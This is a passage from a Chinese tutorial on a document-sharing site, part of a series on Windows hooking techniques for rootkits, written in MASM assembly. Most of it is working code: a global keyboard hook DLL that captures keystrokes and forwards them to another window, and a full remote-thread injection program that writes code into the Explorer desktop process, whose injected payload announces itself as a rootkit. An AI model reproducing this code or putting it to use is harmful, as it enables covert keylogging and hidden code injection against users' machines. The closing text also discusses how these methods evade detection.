必备绝技--Hook大法( 上) (4)

雲间烟火 分享 2020-06-30 下载文档

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; dll 的入口函数

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> DllEntry proc _hInstance,_dwReason,_dwReserved

push _hInstance pop hInstance mov eax,TRUE ret

DllEntry Endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 键盘钩子回调函数

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HookProc proc _dwCode,_wParam,_lParam local @szKeyState[256]:byte

invoke CallNextHookEx,hHook,_dwCode,_wParam,_lParam invoke GetKeyboardState,addr @szKeyState invoke GetKeyState,VK_SHIFT mov @szKeyState + VK_SHIFT,al mov ecx,_lParam shr ecx,16

invoke ToAscii,_wParam,ecx,addr @szKeyState,addr szAscii,0 mov byte ptr szAscii [eax],0

invoke SendMessage,hWnd,dwMessage,dword ptr szAscii,NULL xor eax,eax ret

HookProc endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 安装钩子

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> InstallHook proc _hWnd,_dwMessage

push _hWnd pop hWnd push _dwMessage pop dwMessage

invoke SetWindowsHookEx,WH_KEYBOARD,addr HookProc,hInstance,NULL mov hHook,eax ret

InstallHook endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 卸载钩子

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> UninstallHook proc

invoke UnhookWindowsHookEx,hHook ret

UninstallHook endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> End DllEntry

4.局限性:会产生Dll体,虽然没有进程,但可以通过其他工具轻易发现 (三)通过创建远程线程

1.一般思路:远程线程,顾名思义就是在其他进程中创建一个线程,如果这个进程是系统每次启动必须加载的,那么就能每次有注入目标。这主要通过CreateRemoteThread函数完成。 2.大体框架:

文件1:可以重定位的代码,或是DLL,这个代码当然是有特定目的的 文件2:查找特定进程,如文件管理器,打开进程 VirtualAllocEx函数在进程中申请分配空间

WriteProcessMemory函数将远程线程中的代码拷贝到申请到的空间 CreateRemoteThread函数创建远程线程 3.代码实例:

文件1:一段可重定位代码

REMOTE_CODE_START equ this byte

_lpLoadLibary dd ? ;输入函数地址表 _lpGetProcAddress dd ? _lpGetModuleHandle dd ?

_lpMessageBox dd ?

;全局变量表 _hInstance dd ?

_szDllUser db 'User32.dll',0 _szMessageBox db 'MessageBox',0 _szCaption db 'A rootkit !',0

_szText db 'Hello,im LvG,but you cant find me!',0 .code

_RemoteThread proc uses ebx edi esi lParam local @hModule local @hInstance

call @F @@: pop ebx

sub ebx, offset @B

_invoke [ebx, _lpGetModuleHandle],NULL mov [ebx, _hInstance], eax

lea eax, [ebx + offset _szDllUser] _invoke [ebx + _lpGetModuleHandle], eax mov @hModule, eax

lea esi, [ebx + offset _szMessageBox]

_invoke [ebx + _lpGetProcAddress], @hModule, esi mov [ebx + offset _lpMessageBox], eax lea eax, [ebx + offset _szCaption] lea ecx, [ebx + offset _szText]

_invoke [ebx + _lpMessageBox], NULL, ecx, eax,MB_OK ret

_RemoteThread endp

REMOTE_CODE_END equ this byte

REMOTE_CODE_LENGTH equ offset REMOTE_CODE_END - offset REMOTE_CODE_START 文件2: .386

.model flat, stdcall option casemap :none

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; Include 文件定义

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> include windows.inc include user32.inc includelib user32.lib include kernel32.inc includelib kernel32.lib include Macro.inc

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 数据段

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .data?

lpLoadLibrary dd ? lpGetProcAddress dd ? lpGetModuleHandle dd ? dwProcessID dd ?

dwThreadID dd ? hProcess dd ? lpRemoteCode dd ? .const

szErrOpen db '无法打开远程线程!',0 szDesktopClass db 'Progman',0

szDesktopWindow db 'Program Manager',0 szDllKernel db 'Kernel32.dll',0 szLoadLibrary db 'LoadLibraryA',0 szGetProcAddress db 'GetProcAddress',0 szGetModuleHandle db 'GetModuleHandleA',0

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .code

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

include RemoteCode.asm start:

invoke GetModuleHandle,addr szDllKernel mov ebx,eax

invoke GetProcAddress,ebx,offset szLoadLibrary mov lpLoadLibrary,eax

invoke GetProcAddress,ebx,offset szGetProcAddress mov lpGetProcAddress,eax

invoke GetProcAddress,ebx,offset szGetModuleHandle mov lpGetModuleHandle,eax

;******************************************************************** ; 查找文件管理器窗口并获取进程ID,然后打开进程

;******************************************************************** invoke FindWindow,addr szDesktopClass,addr szDesktopWindow invoke GetWindowThreadProcessId,eax,offset dwProcessID mov dwThreadID,eax

invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or \\ PROCESS_VM_WRITE,FALSE,dwProcessID .if eax

mov hProcess,eax

;******************************************************************** ; 在进程中分配空间并将执行代码拷贝过去,然后创建一个远程线程

;********************************************************************

invoke VirtualAllocEx,hProcess,NULL,REMOTE_CODE_LENGTH,MEM_COMMIT,PAGE_EXECUTE_READWRITE .if eax

mov lpRemoteCode,eax

invoke WriteProcessMemory,hProcess,lpRemoteCode,\\

offset REMOTE_CODE_START,REMOTE_CODE_LENGTH,NULL invoke WriteProcessMemory,hProcess,lpRemoteCode,\\ offset lpLoadLibrary,sizeof dword * 3,NULL mov eax,lpRemoteCode

add eax,offset _RemoteThread - offset REMOTE_CODE_START invoke CreateRemoteThread,hProcess,NULL,0,eax,0,0,NULL invoke CloseHandle,eax .endif

invoke CloseHandle,hProcess .else

invoke MessageBox,NULL,addr szErrOpen,NULL,MB_OK or MB_ICONWARNING .endif

invoke ExitProcess,NULL

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> end start

4.局限性:有时会遇到申请内存失败。

总结:以上的几种方法,相互配合将发挥更为强大的力量。但由于都是动作在ring3,有着先天不足的缺点,都逃不过内核模块的监测。

参考文献:<> 一本专门介绍rootkits的好书 可在网上baidu到 <> 罗云彬


必备绝技--Hook大法( 上) (4).doc 将本文的Word文档下载到电脑

下一篇:浙江省教育考试院2010年高考测试样卷X

相关推荐
相关阅读
本类排行
× 游客快捷下载通道(下载后可以自由复制和排版)

下载本文档需要支付 7

支付方式:

开通VIP包月会员 特价:29元/月

注:下载文档有可能“只有目录或者内容不全”等情况,请下载之前注意辨别,如果您已付费且无法下载或内容有问题,请联系我们协助你处理。
微信:xxxxxx QQ:xxxxxx